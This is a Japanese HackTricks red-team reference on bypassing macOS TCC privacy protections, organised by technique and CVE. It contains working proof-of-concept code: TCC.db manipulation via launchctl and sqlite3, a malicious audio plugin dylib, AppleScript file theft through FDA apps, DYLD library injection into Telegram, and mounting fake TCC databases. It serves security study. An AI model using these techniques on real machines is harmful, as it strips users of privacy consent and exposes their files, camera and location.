macOS TCC Bypasses

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

機能別

書き込みバイパス

これはバイパスではなく、TCCの動作方法です: 書き込みからは保護されていません。ターミナルがユーザーのデスクトップを読み取る権限がない場合でも、それに書き込むことができます:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

拡張属性 com.apple.macl は、新しいファイルに追加され、作成者のアプリがそれを読む権限を与えます。

TCC ClickJacking

ユーザーが気づかずにそれを受け入れるようにするために、TCCプロンプトの上にウィンドウを配置することが可能です。PoCはTCC-ClickJackingで見つけることができます。

任意の名前によるTCCリクエスト

攻撃者は、Info.plistで任意の名前(例:Finder、Google Chromeなど)のアプリを作成し、それをいくつかのTCC保護された場所へのアクセスをリクエストするようにします。ユーザーは、正規のアプリケーションがこのアクセスをリクエストしていると思うでしょう。 さらに、正規のアプリをDockから削除し、代わりに偽物を置くことが可能です。そのため、ユーザーが偽のアプリをクリックすると(同じアイコンを使用できる)、それは正規のアプリを呼び出し、TCCの許可を求め、マルウェアを実行することができ、ユーザーは正規のアプリがアクセスを要求したと信じることになります。

詳細とPoCは次で確認できます:

pagemacOS Privilege Escalation

SSH バイパス

デフォルトでは、SSH経由のアクセスには「Full Disk Access」が必要です。これを無効にするには、それがリストされている必要がありますが、無効にする必要があります(リストから削除してもこれらの権限は削除されません):

ここでは、いくつかのマルウェアがこの保護をバイパスできた例を見つけることができます:

SSHを有効にするには、今ではFull Disk Accessが必要です

拡張子の処理 - CVE-2022-26767

属性**com.apple.maclは、特定のアプリケーションがそれを読む権限を持つためにファイルに与えられます。この属性は、ファイルをアプリにドラッグ&ドロップするか、ユーザーがファイルをダブルクリック**してデフォルトのアプリで開くときに設定されます。

したがって、ユーザーは、すべての拡張子を処理する悪意のあるアプリを登録し、Launch Servicesを呼び出して任意のファイルを開くことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。

iCloud

権限**com.apple.private.icloud-account-accessを使用すると、com.apple.iCloudHelper** XPCサービスと通信することが可能で、これによりiCloudトークンが提供されます。

iMovieGaragebandにはこの権限と他の権限が付与されていました。

その権限からiCloudトークンを取得するエクスプロイトについての詳細については、次のトークを参照してください:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automation

kTCCServiceAppleEvents権限を持つアプリは、他のアプリを制御することができます。これは、他のアプリに付与された権限を悪用する可能性があることを意味します。

Apple Scriptsに関する詳細については、次を確認してください:

pagemacOS Apple Scripts

たとえば、アプリが**iTermに対してAutomation権限を持っている場合、この例ではTerminal**がiTermにアクセス権を持っています:

iTerm上で

FDAを持たないTerminalは、FDAを持つiTermを呼び出し、アクションを実行するために使用することができます:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Finderを介して

または、アプリがFinderを介してアクセスできる場合、次のようなスクリプトがあるかもしれません:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

アプリケーションの動作による

CVE-2020–9934 - TCC

ユーザーランドのtccdデーモンは、HOME env変数を使用してTCCユーザーデータベースにアクセスしています: $HOME/Library/Application Support/com.apple.TCC/TCC.db

このStack Exchangeの投稿によると、TCCデーモンは現在のユーザーのドメイン内でlaunchdを介して実行されているため、それに渡されるすべての環境変数を制御することが可能です。 したがって、攻撃者はlaunchctl$HOME環境変数を設定して制御されたディレクトリを指すようにし、TCCデーモンを再起動してから、TCCデータベースを直接変更して、エンドユーザーにプロンプトを表示せずに利用可能なすべてのTCC権限を自分に与えることができます。 PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - ノート

ノートはTCCで保護された場所にアクセスできましたが、ノートが作成されるときは保護されていない場所に作成されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:

CVE-2021-30782 - トランスロケーション

ライブラリlibsecurity_translocateを使用したバイナリ/usr/libexec/lsdは、com.apple.private.nullfs_allowという権限を持っており、nullfs マウントを作成し、com.apple.private.tcc.allowと**kTCCServiceSystemPolicyAllFiles**を持っていました。これにより、すべてのファイルにアクセスできました。

"Library"に隔離属性を追加し、com.apple.security.translocation XPCサービスを呼び出すことで、Libraryを**$TMPDIR/AppTranslocation/d/d/Libraryにマップし、Library内のすべてのドキュメントにアクセス**できるようになりました。

CVE-2023-38571 - Music & TV

Musicには興味深い機能があります:実行中に~/Music/Music/Media.localized/Automatically Add to Music.localizedにドロップされたファイルをユーザーの「メディアライブラリ」にインポートします。さらに、次のようなものを呼び出します:rename(a, b); ここで ab は次のとおりです:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

この**rename(a, b);の動作は競合状態に対して脆弱であり、Automatically Add to Music.localizedフォルダに偽のTCC.dbファイルを配置し、新しいフォルダ(b)が作成されたときにファイルをコピーして削除し、~/Library/Application Support/com.apple.TCC**/にポイントを指定することが可能でした。

SQLITE_SQLLOG_DIR - CVE-2023-32422

SQLITE_SQLLOG_DIR="path/folder" が設定されている場合、すべてのオープンされたdbがそのパスにコピーされます。このCVEでは、この制御が悪用され、TCCデータベースを持つプロセスによって開かれるSQLiteデータベース内に書き込むことが可能であり、その後**SQLITE_SQLLOG_DIRファイル名にシンボリックリンクとして悪用し、そのデータベースが開かれると、ユーザーのTCC.dbが開かれたもので上書き**されました。 詳細はこちらの解説 およびこちらのトーク にあります

SQLITE_AUTO_TRACE

環境変数**SQLITE_AUTO_TRACEが設定されている場合、ライブラリlibsqlite3.dylibはすべてのSQLクエリをログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログに取ることが可能でした。

いくつかのAppleアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

この環境変数は、Metalフレームワークで使用されます。これは、Musicなどのさまざまなプログラムの依存関係であり、FDAを持っています。

次のように設定します:MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"pathが有効なディレクトリである場合、バグがトリガーされ、fs_usageを使用してプログラム内で何が起こっているかを確認できます:

  • open()されるファイルは、path/.dat.nosyncXXXX.XXXXXX(Xはランダム)と呼ばれます。

  • 1つ以上のwrite()がファイルに内容を書き込みます(これは制御できません)。

  • path/.dat.nosyncXXXX.XXXXXXrename()されてpath/nameになります。

これは、セキュリティが確保されていない **rename(old, new)**に続く一時ファイルの書き込みです。

これは、古いパスと新しいパスを別々に解決する必要があるため、時間がかかり、競合状態に対して脆弱になる可能性があるため、安全ではありません。詳細については、xnu関数renameat_internal()を確認してください。

つまり、特権プロセスがコントロールしているフォルダから名前を変更する場合、RCEを獲得して異なるファイルにアクセスしたり、このCVEのように特権アプリが作成したファイルを開いてFDを保存したりできます。

名前を変更しているフォルダにアクセスし、ソースファイルを変更したりFDを持っている場合、宛先ファイル(またはフォルダ)をシンボリックリンクに指すように変更できるため、いつでも書き込むことができます。

このCVEでの攻撃は次のとおりです:例えば、ユーザーのTCC.dbを上書きするには:

  • /Users/hacker/ourlink/Users/hacker/Library/Application Support/com.apple.TCC/を指すように作成します。

  • ディレクトリ/Users/hacker/tmp/を作成します。

  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.dbを設定します。

  • この環境変数を使用してMusicを実行してバグをトリガーします。

  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX(Xはランダム)のopen()をキャッチします。

  • ここでも、このファイルを書き込み用にopen()し、ファイルディスクリプタを保持します。

  • /Users/hacker/tmp/Users/hacker/ourlinkループ内でアトミックに切り替えます。

  • これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります。

  • 少し待ちます。

  • 運が良ければテストします。

  • そうでない場合は、最初からやり直します。

詳細はhttps://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.htmlで確認できます。

今、環境変数MTL_DUMP_PIPELINES_TO_JSON_FILEを使用しようとすると、アプリが起動しなくなります。

Apple Remote Desktop

rootとしてこのサービスを有効にすると、ARDエージェントはフルディスクアクセスを持ち、ユーザーが新しいTCCユーザーデータベースをコピーすることができます。

NFSHomeDirectoryによる

TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。したがって、ユーザーが$HOME環境変数を異なるフォルダを指すように再起動できる場合、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC権限を任意のアプリに付与するようにトリックをかけることができます。

Appleは、NFSHomeDirectory属性内に格納された設定を使用して、$HOMEの値を取得します。したがって、この値を変更する権限(kTCCServiceSystemPolicySysAdminFiles)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして兵器化することができます。

CVE-2021-30970 - Powerdir

最初のPOCは、dsexportdsimportを使用して、ユーザーのHOMEフォルダを変更します。

  1. ターゲットアプリケーションの_csreq_ブロブを取得します。

  2. 必要なアクセス権限と_csreq_ブロブを持つ偽の_TCC.db_ファイルを配置します。

  3. dsexportを使用してユーザーのDirectory Servicesエントリをエクスポートします。

  4. ユーザーのホームディレクトリを変更するためにDirectory Servicesエントリを変更します。

  5. dsimportを使用して変更されたDirectory Servicesエントリをインポートします。

  6. ユーザーの_tccd_を停止し、プロセスを再起動します。

2番目のPOCは、/usr/libexec/configdを使用し、com.apple.private.tcc.allowkTCCServiceSystemPolicySysAdminFilesの値を持っていることでした。configd-tオプションで実行すると、攻撃者はカスタムバンドルをロードできました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**configdコードインジェクションdsexportおよびdsimport**メソッドを置き換えることができました。

詳細については、元のレポートを確認してください。

プロセスインジェクションによる

プロセス内にコードをインジェクトし、そのTCC権限を悪用するさまざまな技術があります:

pagemacOS Process Abuse

さらに、TCCをバイパスするための最も一般的なプロセスインジェクションは、**プラグイン(ライブラリの読み込み)**を介して行われます。 プラグインは通常、ライブラリまたはplist形式の追加コードであり、メインアプリケーションによって読み込まれ、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルにアクセス権限(許可された権限または権限)を持っている場合、カスタムコードもそれを持つことになります。

CVE-2020-27937 - Directory Utility

アプリケーション/System/Library/CoreServices/Applications/Directory Utility.appは、**kTCCServiceSystemPolicySysAdminFilesの権限を持ち、.daplug**拡張子のプラグインを読み込み、ハード化されていなかったランタイムを持っていました。

このCVEを兵器化するために、NFSHomeDirectoryが変更され(前述の権限を悪用)、TCCをバイパスするためにユーザーのTCCデータベースを乗っ取ることができるようになりました。

詳細については、元のレポートを確認してください。

CVE-2020-29621 - Coreaudiod

バイナリ /usr/sbin/coreaudiod には、com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager の権限がありました。最初の権限は コードインジェクションを許可 し、2番目の権限は TCCの管理権限を与えていました

このバイナリは、/Library/Audio/Plug-Ins/HAL フォルダから サードパーティプラグインを読み込むことを許可していました。そのため、この PoC を使用して プラグインを読み込み、TCCの権限を悪用 することが可能でした:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

詳細については、元のレポートをチェックしてください。

デバイス抽象化レイヤー(DAL)プラグイン

Core Media I/Oを介してカメラストリームを開くシステムアプリケーション(**kTCCServiceCamera**を持つアプリ)は、/Library/CoreMediaIO/Plug-Ins/DALにあるこれらのプラグインをプロセス内にロードします(SIPで制限されていません)。

そこに一般的なコンストラクタを持つライブラリを保存するだけで、コードをインジェクトすることができます。

これに対していくつかのAppleアプリケーションが脆弱でした。

Firefox

Firefoxアプリケーションには、com.apple.security.cs.disable-library-validationおよびcom.apple.security.cs.allow-dyld-environment-variablesの権限がありました。

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

詳細な情報については、元のレポートをチェックしてください

CVE-2020-10006

バイナリ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl には、com.apple.private.tcc.allowcom.apple.security.get-task-allow の権限があり、これによりプロセス内にコードを注入して TCC 権限を使用することができました。

CVE-2023-26818 - Telegram

Telegram には、com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation の権限があり、これによりカメラでの録画などのような権限にアクセスすることが可能でした。ライトアップ内にペイロードを見つけることができます

環境変数を使用してライブラリをロードする方法に注目し、カスタム plist を作成してこのライブラリを注入し、launchctl を使用して起動する方法について説明します:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

オープン呼び出しによるバイパス

サンドボックス化された状態でも**open**を呼び出すことが可能です

ターミナルスクリプト

技術者が使用するコンピュータでは、ターミナルに**Full Disk Access (FDA)を与えることが一般的です。そして、それを使用して.terminal**スクリプトを呼び出すことが可能です。

**.terminalスクリプトは、以下のようなCommandString**キーで実行するコマンドが含まれるplistファイルです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込んで、次のようにコマンドを使って起動する可能性があります:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

マウントによる

CVE-2020-9771 - mount_apfs TCC バイパスと権限昇格

どんなユーザー(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットのすべてのファイルにアクセスできます。 必要な特権は、使用されるアプリケーション(例:Terminal)がFull Disk Access(FDA)アクセス(kTCCServiceSystemPolicyAllfiles)を持つ必要があり、これは管理者によって許可される必要があります。

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

より詳しい説明は元のレポートあります

CVE-2021-1784 & CVE-2021-30808 - TCCファイルをマウントする

TCC DBファイルが保護されていても、新しいTCC.dbファイルをディレクトリにマウントすることが可能でした:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

asr

ツール**/usr/sbin/asr**は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることができました。

位置情報サービス

/var/db/locationd/clients.plistには、位置情報サービスにアクセスを許可されたクライアントを示すサードパーティのTCCデータベースがあります。 フォルダ/var/db/locationd/はDMGマウントから保護されていなかったため、独自のplistをマウントすることが可能でした。

起動アプリによる

pagemacOS Auto Start

grepによる

いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が非保護の場所に保存されています(これはAppleの脆弱性としてカウントされます)。

合成クリック

これはもはや機能しませんが、過去には機能しました:

CoreGraphics イベントを使用した別の方法:

参考

Last updated